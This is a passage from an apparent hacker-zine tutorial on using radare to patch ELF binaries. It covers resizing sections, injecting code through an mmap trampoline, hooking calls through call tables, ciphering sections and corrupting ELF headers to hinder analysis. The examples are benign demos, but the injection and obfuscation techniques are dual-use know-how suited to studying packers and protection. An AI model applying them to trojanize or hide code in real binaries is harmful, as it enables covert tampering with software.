At the end (giving an end-breakpoint) the debugger have a buffer with enough information to determine the executed ranges. Using this easy method we can easily skip all the reps, loops and already analyzed code blocks, speeding up the binary analysis.

Using the "at" command (which stands for analyze traces) it is possible to take statistics or information about the traces and, for example.. serialize the program and unroll loops.

We can also use !trace, giving a certain debug level as numeric argument, to log register changes, executed instructions, buffers, stack changes, etc..

After these steps we can subtract the resulting ranges against the .text section and get how many bytes we can use to inject code.

If the resulting space is not enough for our purposes we will have to face section resizing to put our code. This is explained later.

Radare offers the "ar" (analyze ranges) command to manage range lists.
It can perform addition, subtraction and boolean operations.

```
  > ar+ 0x1000 0x1040 ; manual range addition
  > ar+ 0x1020 0x1080 ; manual add with overlap
  > ari   ; import traces from other places
  .....
  > .atr* ; import execution traces information
  > .CF*  ; import function ranges
  > .gr*  ; import code analysis graph ranges
  .....
  > ar    ; display non overlapped ranges
  >       ; show booleaned ranges inside text section
  > arb section._text section._text_end
```

We can also import range information from external files or programs. One of the nicer characteristics of *nix is the ability to communicate applications using pipes by just making one program 'talk' in the other program language. So if we write a perl script that parses an IDA database (or IDC), we can extract the information we need and print radare commands ('ar' in this case) to stdout, and then parsing the results with the '.' command.

This time ar gives us information about the number of bytes that are theoretically not going to be executed and its ranges.

We can now place some breakpoints on these locations to ensure we are not missing anything. Manual revision of the automated code analysis and tracing results is recommended.

--[2.1 - Resolving register based branchs

The 'av' command provides subcommands to analyze opcodes inside the native virtual machine.

The basic commands are: 'av-' to restart the vm state, 'avr' to manage registers, 'ave' to evaluate VM expressions and 'avx' that will execute N instructions from the current seek (will set the eip VM register to the offset value).

Internally, the virtual machine engine translates instructions into evaluable strings that are used to manipulate memory and change registers.

This simple concept allows to easily implement support for new instructions or architectures.

Here is an example. The code analysis has reached a call instruction addressing with a register. The code looks like:

```
  /* --- */
  $ cat callreg.S
  .global main
  .data
  .long foo
  .text

  foo:
    ret
  main:
    xor %eax, %eax
    mov $foo, %ebx
    add %eax, %ebx
    call *%ebx
    ret

  $ gcc callreg.S
  $ radare -d ./a.out
  ( ... )
  [0xB7FC6810]> !cont sym.main
  Continue until (sym.main) = 0x08048375
  [0x08048375]> pd 5 @ sym.main
  0x08048375  eip,sym.main:
  0x08048375  / xor eax, eax
  0x08048377 |  mov ebx, 0x8048374 ; sym.foo
  0x0804837c,|  add ebx, eax
  0x0804837e |  call ebx
  0x08048380, \ ret

  [0x08048375]> avx 4
  Emulating 4 opcodes
  MMU: cached
  Importing register values
  0x08048375    eax ^= eax
     ; eax ^= eax
  0x08048377    ebx = 0x8048374 ; sym.foo
     ; ebx = 0x8048374
  0x0804837c,   ebx += eax
     ; ebx += eax
  0x0804837e   call ebx
     ; esp=esp-4
     ; [esp]=eip+2
     ;==> [0xbf9be388] = 8048382  ((esp]))
     ; write 8048382 @ 0xbf9be388
     ; eip=ebx

  [0x08048375]> avr eip
  eip = 0x08048374
```

At this point we can continue the code analysis where the ’eip’ register of the virtual machine points.

```
  [0x08048375]> .afr @ ‘avr eip˜[2]‘
```

--[2.2 - Resizing data section

There is no simple way to resize a section in radare1. This process is completely manual and tricky.

In order to solve this limitation, radare2 provides a set of libraries (named libr) that reimplement all the functionalities of radare 1.x following a modular design instead of the old monolithic approach.

Both branches of development are being done in parallel.

Here is where radare2 api (libr) comes in action:

```
 $ cat rs.c
 #include <stdio.h>
 #include <r_bin.h>

 int main(int argc, char *argv[])
 {
   struct r_bin_t bin;
   if (argc != 4) {
     printf("Usage: %s <ELF file> <section> <size>\n", argv[0]);
   } else {
     r_bin_init(&bin);
     if (!r_bin_open(&bin, argv[1], 1, NULL)) {
       fprintf(stderr, "Cannot open ’%s’.\n", argv[1]);
     } else
     if (!r_bin_resize_section(&bin, argv[2], r_num_math(NULL,argv[3]))) {
       fprintf(stderr, "Cannot resize section.\n");
     } else {
       r_bin_close(&bin);
       return 0;
     }
   }
   return 1;
 }

 $ gcc -I/usr/include/libr -lr_bin rs.c -o rs

 $ rabin -S my-target-elf | grep .data
   idx=24 address=0x0805d0c0 offset=0x000150c0 size=00000484 \
   align=0x00000020 privileges=-rw- name=.data

 $ ./rs my-target-elf .data 0x9400

 $ rabin -S my-target-elf | grep .data
   idx=24 address=0x0805d0c0 offset=0x000150c0 size=00009400 \
   align=0x00000020 privileges=-rw- name=.data
```

Our 'rs' program will open a binary file (ELF 32/64, PE32/32+, ...) it will resolve a section named '.data' to change its size and will shift the rest of sections to keep the elf information as is.

The reason for resizing the .data section is because this one is commonly linked after the text section. There will be no need to reanalyze the program code to rebase all the data accesses to the new address.

The target program should keep working after the section resizing and we already know which places in the program can be used to inject our trampoline.

```
   +-------+    +-------+
   | .text |    | .text |
   |       |    |       | <-- inject trampoline
   |-------| -> |-------|
   | .data |    | .data |
   +-------+    |       | <-- inject new code or data
                |       |
                +-------+
```

Next chapters will explain multiple trampoline methods that will use our resized data section to store pointer tables or new code.

--[2.3 - Basics on code injection

Self modifying code is a nice thing, but usually a dangerous task too. Also patches/tools like SElinux will not let us to write to an already executable section.

To avoid this problem we can change in the ELF headers the .text perms to writable but not executable, and include our decryption function in a new executable section. When the decryption process is done, it will have to change text perms to executable and then transfer control to it.

In order to add multiple nested encryption layers the task will be harder mostly because of the relocation problems, and if the program is not PIC-ed, rebasing an entire application on the fly by allocating and copying the program multiple times in memory can be quite complicated.

The simplest implementation consists in these steps:

- Define from/to ranges
- Define cipher key and algorithm
- Inject deciphering code in the entrypoint
  - We will need to use mprotect before looping
- Statically cipher the section

The from/to addresses can be hardcoded in the assembly snippet or written in .data or somewhere for later. We can also ask the user for a key and make the binary work only with a password.

If the encryption key is not found in the binary, the unpacking process becomes harder, and we will have to implement a dynamic method to find the correct one. This will be explained later.

Another way to define ranges is by using watermarks and let our injected code walk over the memory looking for these marks.

The last step is probably the easier one. We already know the key and the algorithm, its time to rewrite the inverse one using radare commands and let the script run over these ranges.

This is an example:

The 'wo' command is a subcommand of the 'w' (write) which offers arithmetic write operations over the current block.

```
  [0x00000000]> wo?
  Usage: wo[xrlasmd] [hexpairs]
  Example: wox 90    ; xor cur block with 90
  Example: woa 02 03 ; add 2, 3 to all bytes of cur block
  Supported operations:
    woa  addition        +=
    wos  subtraction     -=
    wom  multiply        *=
    wod  divide          /=
    wox  xor             ^=
    woo  or              |=
    woA  and             &=
    wor  shift right    >>=
    wol  shift left     <<=
```

It uses cyclic hexpair byte arrays as arguments. Just by seeking on the "from" address and setting blocksize as "to-from" we will be ready to type the 'wo' ones.

Implementing this process in macros will make the code more maintainable and easy to manage. The understanding of functional programming is good for writing radare macros, split the code in small functions doing minimal tasks and make them interact with each other.

Macros are defined like in lisp, but syntax is really closer to a mix between perl and brainfuck. Don't get scary at first instance..it doesn't hurt as much as you can think and the resulting code is funnier than expected ;)

```
  (cipher from to key
    s $0
    b $1-$0
    woa $2
    wox $2)
```

We can put it in a single line (by replacing newlines with commas ',') and put it in our ~/.radarerc:

```
(cipher from to key,s $0,b $1-$0,woa $2,wox $2,)
```

Now we can call this macro at any time by just prepending a dot before the parenthesis and feeding it with the arguments.

```
  f from @ 0x1200
  f to @ 0x9000
  .(cipher from to 2970)
```

To ease the code injection we can write a macro like this:

```
 (inject hookaddr file addr
    wa call $2 @ $0
    wf $1 @ $2)
```

Feeding this macro with the proper values will assemble a call opcode branching to the place where we inject our code (addr or $2) stored in the 'file' or $1.

Radare has the expanded AES key searching algorithm developed by Victor Mu˜noz. It can be helpful while reversing a program that uses this kind of ciphering algorithm. As the IO is abstracted it is possible to launch this search against files, program memory, ram dumps, etc..

For example:

```
  $ radare -u /dev/mem
  [0x00000000]> /a
  ...
```

WARNING: Most current GNU/Linux distributions comes with the kernel compiled with the CONFIG_STRICT_DEVMEM option which restricts the access of /dev/mem to the only first 1.1M.

All write operations are stored in a linked list of backups with the removed contents. This make possible to undo and redo all changes done directly on file. This allows you to try different modifications on the binary without having to restore manually the original one.

These changes can be diffed later with the "radiff -r" command. The command performs a deltified binary diff between two files, The '-r' displays the result of the operation as radare commands that transforming the first binary into the second one.

The output can be piped to a file and used later from radare to patch it at runtime or statically.

For example:

```
  $ cp /bin/true true
  $ radare -w true
  [0x08048AE0]> wa xor eax,eax;inc eax;xor ebx,ebx;int 0x80 @ entrypoint

  [0x08048AE0]> u
  03 + 2 00000ae0: 31 ed => 31 c0
  02 + 1 00000ae2: 5e => 40
  01 + 2 00000ae3: 89 e1 => 31 db
  00 + 2 00000ae5: 83 e4 => cd 80

  [0x08048AE0]> u* | tee true.patch
  wx 31 c0 @ 0x00000ae0
  wx 40 @ 0x00000ae2
  wx 31 db @ 0x00000ae3
  wx cd 80 @ 0x00000ae5
```

The 'u' command is used to 'undo' write operations. Appending the '*' we force the 'u' command to list the write changes as radare commands, and we pipe the output to the 'tee' unix program.

Let's generate the diff:

```
  $ radiff -r /bin/true true
  e file.insertblock=false
  e file.insert=false
  wx c0 @ 0xae1
  wx 40 @ 0xae2
  wx 31 @ 0xae3
  wx db @ 0xae4
  wx cd @ 0xae5
  wx 80 @ 0xae6
```

This output can be piped into radare through stdin or using the '.' command to interpret the contents of a file or the output of a command.

```
  [0x08048AE0]> . radiff.patch
  or
  [0x08048AE0]> .!!radiff -r /bin/true $FILE
```

The '$FILE' environment is exported to the shell from inside radare as well as other variables like $BLOCK, $BYTES, $ENDIAN, $SIZE, $ARCH, $BADDR, ...

Note that in radare there's not really much difference between memory addresses and on-disk ones because the virtual addresses are emulated by the IO layer thanks to the io.vaddr and io.paddr variables which are used to define the virtual and physical addresses for a section or for the whole file.

The 'S' command is used to configure a fine-grained setup of virtual and physical addressing rules for ranged sections of offsets.

Do not care too much about it because 'rabin' will configure these variables at startup when the file.id eval variable is true.

--[2.4 - Mmap trampoline

The problem faced when resizing the .text section is that .data section is shifted, and the program will try to access it absolutely or relatively.

This situation forces us to rebase all the text section and adapt the rest of sections.

The problem is that we need a deep code analysis to rebase and this is something that we will probably do wrong if we try to do only a static code analysis. This situation usually require a complex dynamic, and sometimes manual, analysis to fix all the possible pointers.

To skip this issue we can just resize the .data section which is after the .text one and just write a trampoline in the .text section loading code from .data and putting it in memory using mmap.

The decision to use mmap is because is the only way to get executable pages with write permissions in memory even with SELinux enabled.

The C code looks like this:

```
---------------------8<--------------------------
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

int run_code(const char *buf, int len)
{
  unsigned char *ptr;
  int (*fun)();
  ptr = mmap(NULL, len,
      PROT_EXEC | PROT_READ | PROT_WRITE,
      MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
  if (ptr == NULL)
    return -1;
  fun = (int(*)(void))ptr;
  memcpy(ptr, buf, len);
  mprotect(ptr, len, PROT_READ | PROT_EXEC);
  return fun();
}

int main()
```

```
{
  unsigned char trap = 0xcc;
  return run_code(&trap, 1);
}
---------------------8<--------------------------
```

The manual rewrite in assembly become:

```
---------------------8<--------------------------
.global main
.global run_code
.data

retaddr: .long 0
shellcode: .byte 0xcc
hello: .string "Hello World\n"

.text
tailcall:
        push %ebp
        mov %esp, %ebp
        push $hello
        call printf
        addl $4, %esp
        pop %ebp
        ret

run_code:
        pop (retaddr)
        /* lcall *0 */
        call tailcall
        push (retaddr)

        /* our snippet */
        push %ebp
        mov %esp, %ebp
        pusha

        push %ebp
        xor %ebp, %ebp   /* 0 */
        mov $-1, %edi    /* -1 */
        mov $0x22, %esi  /* MAP_ANONYMOUS | MAP_PRIVATE */
        mov $7, %edx     /* PROT_EXEC | PROT_READ | PROT_WRITE */
        mov $4096, %ecx  /* len = 4096 */
        xor %ebx, %ebx   /* 0 */
        mov $192, %eax   /* mmap2 */
        int $0x80
        pop %ebp

        mov %eax, %edi       /* dest pointer */
        mov 0x8(%ebp), %esi  /* get buf  (arg0) */
        mov $128, %ecx
        cld
        rep movsb
        mov %eax, %edi

        mov $5, %edx     /* R-X */
        mov $4096, %ecx  /* len */
        mov %edi, %ebx   /* addr */
        mov $125, %eax   /* mprotect */
        int $0x80

        call *%edi
        popa
        pop %ebp
        ret

main:
        push $shellcode
        call run_code
        add $4, %esp
        ret
---------------------8<--------------------------
```

Running this little program will result on a trap instruction executed on the mmaped area. I decided to do not checks on return values to make the code smaller.

```
  $ gcc rc.S
  $ ./a.out
  Hello World
  Trace/breakpoint trap
```

  The size in bytes of this code can be measured with this line in the shell:

```
  $ echo $((`rabin -o d/s a.out |grep run_code|cut -d ' ' -f 2 |wc -c`/2))
  76
```

This graph explains the layout of the patch required

```
                         +----+   /  push dword csu_fini
         .---------------| EP | <    push dword csu_init
         |               +----+   \  push dword main
         V                v
    +------------+     +--------+
    |  csu_init  |     |  main  |   /  push 0x80483490
    |------------|     |--------| <    call getopt
    |    mmap    |   .-|   ...  |   \  mov [esp+30], eax
    | trampoline |   | |        |
    +------------+   | +--------+                      .-----------------.
        ||'||        |                                 | this code needs |
        |   |- - - - |- - - - - - - - - - - - - - -. <  the mmap tramp  |
        :          __|___       +-----------+     .  | to be executed  |
        .         / hook \ ---> | mmap code |     .  `-----------------'
        .         \getopt/      +-----------+     .
          - - - - - - - - - - - - - -|- - - - - - '
                                     |
                  +--------+         / fall to the getopt flow
                  | getopt | <-----'
                  +--------+
                      |
                    (ret)
```

The injection process consists on the following steps:

 * Resize the .data section to get enought space for our code

```
    f newsize @ section._data_end - section._data + 4096
    !rabin2 -o r/.data/`?v newsize` $FILE
    q!
```

 * Write the code at the end of the unresized .data section

```
    !!gcc our-code.c
    "!!rabin a.out -o d/s a.out | grep ^main | cut -d ' ' -f 2 > inj.bytes"
    wF inj.bytes @ section._data_end
```

 * Null the __libc_csu_init pointer at entrypoint (2nd push dword)

```
    e asm.profile=simple
    s entrypoint
    wa push 0 @ `pd 20~push dword[0]#1`
```

 * Inject the mmap loader at symbol __libc_csu_init

```
    # generate mmap.bytes with the mmap trampoline
    !!gcc mmap-tramp.S
    "!!rabin a.out -o d/s a.out | grep ^main | cut -d ' ' -f 2 > mmap.bytes"
    # write hexpair bytes contained in mmap.bytes file at csu_init
    wF mmap.bytes @ sym.__libc_csu_init
```

 * Hook a call instruction to bridge the execution of our injected code
   and continue the original call workflow.

    - Determine the address of the call to the target symbol to be hooked.
      For example. Having 'ping' program, this script will determine an
      xref to the getopt import PLT entry.

```
        s entrypoint
        # seek to the third push dword in the entry point (main)
        s `pd 20~push dword[3]#2`

        # Analyze function: the '.' will interpret the output of the command
        # 'af*' that prints radare commands registering xrefs, variable
        # accesses, stack frame changes, etc.
        .af*

        # generate a file named 'xrefs' containing the code references
        # to the getopt symbol.
        Cx~`?v imp.getopt`[1] > xrefs

        # create an eNumerate flag at every offset specified in 'xrefs' file
        fN calladdr @@.xrefs
```

    - Create a proxy hook to bridge execution without destroying the stack.

      This is explained in the following lines.

    - Change the call of the hook to our proxy function

```
        # write assembly code 'call <addr>'
        # quotes will replace the inner string with the result of the
        # command ?v which prints the hexadecimal value of the given expr.
        wa call `?v dstaddr`
```

    - Profit

Here is an example assembly code that demonstrates the functionality of the trampoline for the patched call. This snippet of code can be injected after the mmap trampoline.

```
----------8<-----------
.global main

trampoline:
  push $hookstr
  call puts
  add $4, %esp
  jmp puts

main:
  push $hello
  call trampoline
  add $4, %esp
  ret

.data

hello:
  .string "hello world"
hookstr:
  .string "hook!"
----------8<-----------
```

The previous code cannot be injected directly in the binary, and one of the main conceptual reasons is that the destination address of the trampoline will be defined at runtime, when the mmapped region of the data section is ready with executable permissions, the destination address must be stored somewhere in the data section.

--[2.4.1 - Call trampoline

Once the holes have been identified we can now modify some parts of the program to obfuscate the control flow, symbol access, function calls and inlined syscalls in different ways.

To walk through the program code blocks we can use iterators or nested iterators to run from simple to complex scripted code analysis engines and retrieve or manipulate the program by changing instructions or moving code.

The control flow of the program can be obfuscated by adding a calltable trampoline for calling functions. We will have to patch the calls and store the jump addresses in a table in the data section.

The same hack can be done for long jumps by placing a different trampoline to drop the stacked eip and use jumps instead of calls.

Iterators in radare can be implemented as macros appending the macro call after the @@ foreach mark.

```
 For example: "x @ 0x200"
 will temporally seek to 0x200 and run the "x" command.

 Using: "x @@ .(iterate-functions)"
 will run the iterator macro at every address returned by the macro.
```

To return values from a macro we can use the null macro body and append the resulting offset. If no value is given, null is returned and the iterator will stop.

Heres the implementation for the function-iterator:

```
  "(iterate-functions,()CF~#$@,)"
```

We can also use the search engine with cmd.hit eval variable to run a command when a search hit is found. Obviously, the command can be a macro or a script file in any language.

```
  e cmd.hit=ar- $$ $$+5
  /x xx yy zz
```

But we can also do it after processing the search by just removing the false positive hits and running a foreach command.

```
  # configure and perform search
  e search.from=section._text
  e search.to=section._text_end
  e cmd.search=
  /x xx yy zz

  # filtering hit results
  fs search     ; enter into the search flagspace
  f             ; list flags in search space
  f -hit0_3     ; remove hit #3
  # write on every filtered hit
  wx 909090 @@ hit*
```

Flagspaces are groups of flags. Some of them are automatically created by rabin while identifying strings, symbols, sections, etc, and others are updated at runtime like by commands like 'regs' (registers) or 'search'

(search results).

You can switch to or create another flagspace using the 'fs' command. When a flagspace is selected the 'f' command will only show the flags in the current flagspace. 'fs *' is used to enable all flagspaces at the same time (global view). See fs? for extended help.

The internal metadata database can be managed with the C command and stores information about code and data xrefs, comments, function definitions, type, data conversions and structure definitions to be used by the disassembler engine, the code analysis module and user defined scripts.

Data and code xrefs are very useful reference points while reverse engineering. It is interesting to obfuscate them all as much as possible to fool code analysis engines, forcing the reverser to use runtime or emulated environments to determine when a string or a buffer is used.

To analyze a function in radare is preferably to go into Visual mode with command 'V', and then press the keys "d" and "f".

This action will make a code analysis from the current seek or where the cursor points (if in cursor mode, toggleable with the lowercase "c" key in Visual mode). This code analysis will define multiple things like argument, local and global variable accesses, feeding the database with xref information that can be later used to determine which points of the program are using a certain pointer.

By defining few eval vars in your ~/.radarerc most of this basic code analysis will be done by default.

```
  $ cat ~/.radarerc
  e file.id=true    ; identify file type and set arch/baddr...
  e file.analyze=true ; perform basic code analysis at startup
  e file.flag=true  ; add basic flags
  e scr.color=true  ; use color screen
```

NOTE: By passing the '-n' parameter to radare the startup process will skip the interpretation of .radarerc.

All this information can be cached, manipulated and restored using project files (with the -P program flag at startup or enabling this feature in runtime with the 'P' command).

After this parenthesis we continue obfuscating the xrefs to make reversers life funnier.

One simple way to do this would be to create an initialization code, copying some pointers required by the program to run at random mmaped addresses and defining a way to transform these accesses into a sequence jigsaw. This can be achieved turning each pointer "random" based on some rules like a shifted array accessed by a mod.

```
  # calltable initializer
  (ct-init tramp ctable ctable_end
    f trampoline @ $0
    f calltable @ $1
    f calltable_ptr @ calltable
    wf trampoline.bin @ trampoline
    b $2-$1
    wb 00 ; fill calltable with nops
    )

  ; calltable adder
  (ct-add
    ; check if addr is a long call
    ? [1:$$]==0xeb
    ?!()
    ; check if already patched
    ? [4:$$+1]==trampoline
    ??()
    wv $$+5 @ calltable_ptr
    yt 4 calltable_ptr+4 @ $$+1
    f calltable_ptr @ calltable_ptr+8
    wv trampoline @ $$+1
    )
```

We can either create a third helper macro that automatically iterates over every long call instruction in .text and running ct-add on it.

```
  (ct-run from to tramp ctable ctable_end
    .(ct-init tramp ctable ctable_end)
    s from
    loop:
      ? [1:$$]==0xeb
      ?? .(ct-add)
      s +$$$
    ? $$ < to
    ??.loop:
    )
```

Or we can also write a more fine-grained macro to walk over the function

```
  e asm.profile=simple
  pD~call[0] > jmps
  .(ct-init 0x8048000 0x8048200)
  .(ct-add)@@.jmps
```

The trampoline.bin file will be something like this:

```
-----------------------------------------------------------------
/*
 * Calltable trampoline example // --pancake
 * ---------------------------------------------
 * $ gcc calltrampoline.S -DCTT=0x8048000 -DCTT_SZ 100
 */

#ifndef CTT_SZ
#define CTT_SZ 100
#endif
#ifndef CTT
#define CTT call_trampoline_table
#endif

.text
.global call_trampoline
.global main

main:
 /* */
 call ct_init
 call ct_test
 /* */
 pushl $hello
 call puts
 add $4, %esp
 ret

call_trampoline:
 pop %esi
 leal CTT, %edi
 movl %esi, 0(%edi)      /* store ret addr in ctable[0] */
 0:
 add $8, %edi
 cmpl 0(%edi), %esi      /* check ret addr against ctable*/
 jnz 0b
 movl 4(%edi), %edi      /* get real pointer */
 call *%edi              /* call real pointer */
 jmp *CTT                /* back to caller */

/* initialize calltable */
ct_init:
 leal CTT+8, %edi
 movl $retaddr, 0(%edi)
 movl $puts, 4(%edi)
 ret

/* hello world using the calltable */
ct_test:
 push $hello
 call call_trampoline
retaddr:
 add $4, %esp
 ret

.data
hello:
 .string "Hello World"

call_trampoline_table:
 .fill 8*(CTT_SZ+1), 1, 0x00
-----------------------------------------------------------------
```

Note that this trampoline implementation is not thread safe. If two threads are use the same trampoline call table at the same time to temporally store the return address, the application will crash.

To fix this issue you should use the %gs segment explained in the 'syscall obfuscation' chapter. But to avoid complexity no thread support will be added at this moment.

To inject the shellcode into the binary we will have to make some space in the .data segment for the calltable. We can do this with gcc -D:

```
  [0x8048400]> !!gcc calltrampoline.S -DCTT=0x8048000 -DCTT_SZ=100
  > !! rabin -o d/s a.out|grep call_trampoline|cut -d : -f 2 > tramp.hex
  > wF tramp.hex @ trampoline_addr
```

--[2.4.2 - Extending trampolines

We can take some real code from the target program and move it into the .data section encrypted with a random key. Then we can extend the call trampoline to run an initialization function before running the function.

Our call trampoline extension will cover three points:

 - Function prelude obfuscation - Function mmaping (loading code from data)
 - Unciphering and checksumming

At the same time we can re-encrypt the function again after calling the end point address. This will be good for our protector because the reverser will be forced to manually step into the code because no software breakpoints will be able to be used on this code because they will be re-encrypted and the checksumming will fail.

To do this we need to extend our call trampoline table or just add another field in the call trampoline table specifying the status of the destination code (if it is encrypted or not) and optionally the checksum.

The article aims to explain guidelines and possibilities when playing with binaries. But we are not going to implement such kind of extensions to avoid enlarge too much this article explaining these advanced techniques.

The 'p' command is used to print the bytes in multiple formats, the more powerful print format is 'pm' which permits to describe memory contents using a format-string like string and name each of the fields.

When the format-string starts with a numeric value it is handled as an array of structures. The 'am' command manages a list of named 'pm' commands to ease the re-use of structure signatures along the execution of radare.

We will start introducing this command describing the format of an entry of our trampoline call table:

```
  [0x08049AD0]> pm XX
  0x00001ad0 = 0x895eed31
  0x00001ad4 = 0xf0e483e1
```

Now adding the name of fields:

```
  [0x08049AD0]> pm XX from to
        from : 0x00001ad0 = 0x895eed31
          to : 0x00001ad4 = 0xf0e483e1
```

And now printing a readable array of structures:

```
  [0x08049AD0]> pm 3XX from to
  0x00001ad0 [0] {
        from : 0x00001ad0 = 0x895eed31
          to : 0x00001ad4 = 0xf0e483e1
  }
  0x00001ad8 [1] {
        from : 0x00001ad8 = 0x68525450
          to : 0x00001adc = 0x0805b6a0
  }
  0x00001ae0 [2] {
        from : 0x00001ae0 = 0x05b6b068
          to : 0x00001ae4 = 0x68565108
  }
```

There is another command named 'ad' that stands for 'analyze data'. It automatically analyzes the contents of the memory (starting from the current seek) looking for recognized pointers (following the configured endianness), strings, pointers to strings, and more.

The easiest way to see how this command works is by starting a program in debugger mode (f.ex: radare -d ls) and running 'ad@esp'.

The command will walk through the stack contents identifying pointers to environment variables, function pointers, etc..

Internal grep '~' syntax sugar can be used to retrieve specific fields of structures for scripting, displaying or analysis.

```
  # register a 'pm' in the 'am' command
  [0x08048000]> am foo 3XX from to

  # grep for the rows matching 'from'
  [0x08048000]> am foo~from
          from : 0x00001ad0 = 0x895eed31
          from : 0x00001ad8 = 0x68525450
          from : 0x00001ae0 = 0x05b6b068

  # grep for the 4th column
  [0x08048000]> am foo~from[4]
  0x895eed31
  0x68525450
  0x05b6b068

  # grep for the first row
  [0x08048000]> am foo~from[4]#0
  0x895eed31
```

--[3 - Protections and manipulations

This chapter will face different manipulations that can be done on binaries to add some layers of protections to make reverse engineering on the target binaries a more complicated.

--[3.1 - Trashing the ELF header

Corrupting the ELF header is another possible target of a packer for making the reverser's life little harder.

Just modifying one byte in the ELF header becomes a problem for tools like gdb, ltrace, objdump, ... The reason is that they depend on section headers to get information about sections, symbols, library dependencies, etc... and if they are not able to parse them they just stop with an error. At the moment of writing, only IDA and radare are able to bypass this issue.

This can be easily done in this way:

```
 $ echo wx 99 @ 0x21 | radare -nw a.out
```

A reverser can use the fix-shoff.rs (included in the scripts) directory in the radare sources, to reconstruct the 'e_sh_off' dword in the ELF header.

```
  $ cat scripts/fix-shoff.rs
  ; radare script to fix elf.shoff
  (fix-shoff
    s 0            ; seek to offset 0
    s/ .text       ; seek to first occurrence of ".text" string
   loop:
    s/x 00         ; go next word in array of strings
    ? [1:$$+1]     ; check if this is the last one
    ?!.loop:       ; loop if buf[1] is == 0
    s +4-$$%4      ; align seek pointer to 4
    f nsht         ; store current seek as 'nsht'
    wv nsht @ 0x20 ; write the new section header table at 0x20 (elf.sh_off)
  )
```

The script is used in this way:

```
  $ echo ".(fix-shoff) && q" | radare -i scripts/fix-shoff.rs -nw "target-elf"
```

This script works on any generic bin with a trashed shoff. It will not work on binaries with stripped section headers (after 'sstrip' f.ex.)

This is possible because GCC stores the section header table immediately after the string table index, and this section is easily identified because the .text section name will appear on any standard binary file.

It is not hard to think on different ways to bypass this patch. By just stripping all the rest of section after setting shoff to 0 will work pretty well and the reverser will have to regenerate the section headers completely. This can be done by using sstrip(1) (double 's' is not a typo) from the elf-kickers package. This way we eliminate all unnecessary sections to run the program.

The nice thing of this header bug is that the e_shoff value is directly passed to lseek(2) as second argument, and we can either try with values like 0 or -1 to get different errors instead of just giving an invalid address. This way it is possible to bypass wrong ELF parsers in other ways.

Similar bugs are found in MACH-O parsers from GNU software like setting number of sections to -1 in the SEGMENT_COMMAND header. These kind of bugs don't hit kernels because they usually use minimum input from the program headers to map it in memory, and the dynamic linker at user space do the rest. But debuggers and file analyzers usually fail when try to extract corrupted information from headers.

--[3.2 - Source level watermarks

If we have the source of the target application there will be more ways to play with it. For instance, using defines as volatile asm inline macros, the developer can add marks or paddings usable for the binary packer.

Some commercial packers offer an SDK which is nothing more than a set of include files offering helper functions and watermarks to make the packers life easier. And giving to the developer more tools to protect their code.

```
  $ cat watermark.h
  #define WATERMARK __asm__ __volatile__ (".byte 3,1,3,3,7,3,1,3,3,7");
```

We will use this CPP macro to watermark the generated binary for later post-processing with radare. We can specify multiple different watermarks for various purposes. We must be sure that these watermarks are not already in the generated binary.

We can even have larger watermarks to pad our program with noisy bytes in the .text section, so we can later replace these watermarks with our assembly snippets.

Radare can ease the manual process of finding the watermarks and injecting code, by using the following command. It will generate a file named 'water.list' containing one offset per line.

```
  [0x00000000]> /x 03010303070301030307
  [0x00000000]> f~hit[0] > water.list
  [0x00000000]> !!cat water.list
  0x102
  0x13c
  0x1a2
  0x219
```

If we want to run a command at every offset specified in the file:

```
  [0x00000000]> .(fill-water-marks) @@. water.list
```

Inside every fill-water-mark macro we can analyze the watermark type depending on the 'hit' flag number (we can search more than one keyword at a time) or by checking the bytes there and perform the proper action.

If those watermarks have a fixed size (or the size is embedded into the watermark) we can then write a radare script that write a branch instruction at to skip the padding. (This will avoid program crash because it will not execute the dummy bytes of our watermark).

Here's an ascii-art explanation:

```
 |<-- watermark ----------------------------------------->|
               |<-- unused bytes                       -->|
 +--------------------------------------------------------+
 | jmp $$+size | .. .. .. .. .. .. .. .. .. .. .. .. .. .. | program
 +--------------------------------------------------------+
      |                                                     ^
      `_____________________________________________________'
```

At this point we have some more controlled holes to put our code.

Our variable-sized watermark will be defined in this way:

```
  .long 0,1,2,3,4,5,6,7,4*20,9,10,11,12,13,14,15,16,17,18,19,20
```

And the watermark filling macro:

```
  (fill-water-marks,wa jmp $${io.vaddr}+$$+[$$+8],)

  # run the macro to patch the watermarks with jumps
  .(fill-water-marks) @@. water.list
```

The io.vaddr specified the virtual base address of the program in memory.

--[3.3 - Ciphering .data section

A really common protection in binaries consists on ciphering the data section of a program to hide the strings and make the static code analysis harder.

The technique presented here aims to protect the data section. This section generally does not contain program strings (because they are usually statically defined in the rodata section), but will help to understand some characteristics of the ELF loader and how programs work with the rw sections.

The PT_LOAD program header type specifies where, which and how part of the binary should be mapped in memory. By default, the kernel maps the program at a base address. More over it will map aligned size (asize) of the program starting at 'physical' on 'virtual' address with 'flags' permissions.

```
  $ rabin -I /bin/ls | grep baddr
  baddr=0x08048000

  $ rabin -H /bin/ls | grep LOAD
  virtual=0x08060000 physical=0x00018000 asize=0x1000 size=0x0fe0 \
  flags=0x06 type=LOAD name=phdr_0
```

In this case, 4K is the aligned size of 0xfe0 bytes of the binary will be loaded at address 0x8060000 starting at address 0x18000 of the file.

By running '.!rabin -rIH $FILE' from radare all this information will be imported into radare and it will emulate such situation.

The problem we face here, is that the size and address of the mapped area doesn't match with the offset of the .data section.

Some operations are required to get the correct offsets to statically modify the program to cipher such range of bytes and inject a snippet of assembly to dynamically decipher such bytes.

The script looks like:

```
-------8<------------
# flag from virtual address (the base address where the binary is mapped)
# this will make all new flags be created at current seek + <addr>
# we need to do this because we are calculating virtual addresses.
ff $${io.vaddr}

# Display the ranges of the .data section
?e Data section ranges : `?v section._data`- `?v section._data_end`

# set flag space to 'segments'. This way 'f' command will only display the
# flags contained in this namespace.
fs segments

# Create flags for 'virtual from' and 'virtual to' addresses.
# We grep for the first row '#0' and the first word '[0]' to retrieve
# the offset where the PT_LOAD segment is loaded in memory
f vfrom @ `f~vaddr[0]#0`

# 'virtual to' flag points to vfrom+ptload segment size
```

```
f vto @ vfrom+`f~vaddr[1]#0`

# Display this information
?e Range of data decipher : `?v vfrom`- `?v vto`= `?v vto-vfrom`bytes

# Create two flags to store the position of the physical address of the
# PT_LOAD segment.
f pfrom @ `f~paddr[0]#0`
f pto @ pfrom+`f~paddr[1]#0`

# Adjust deltas against data section
# ---------------------------------
# pdelta flag is not an address, we set flag from to 0
# pdelta = (address of .data section)-(physical address of PTLOAD segment)
ff 0 && f pdelta @ section._data-pfrom
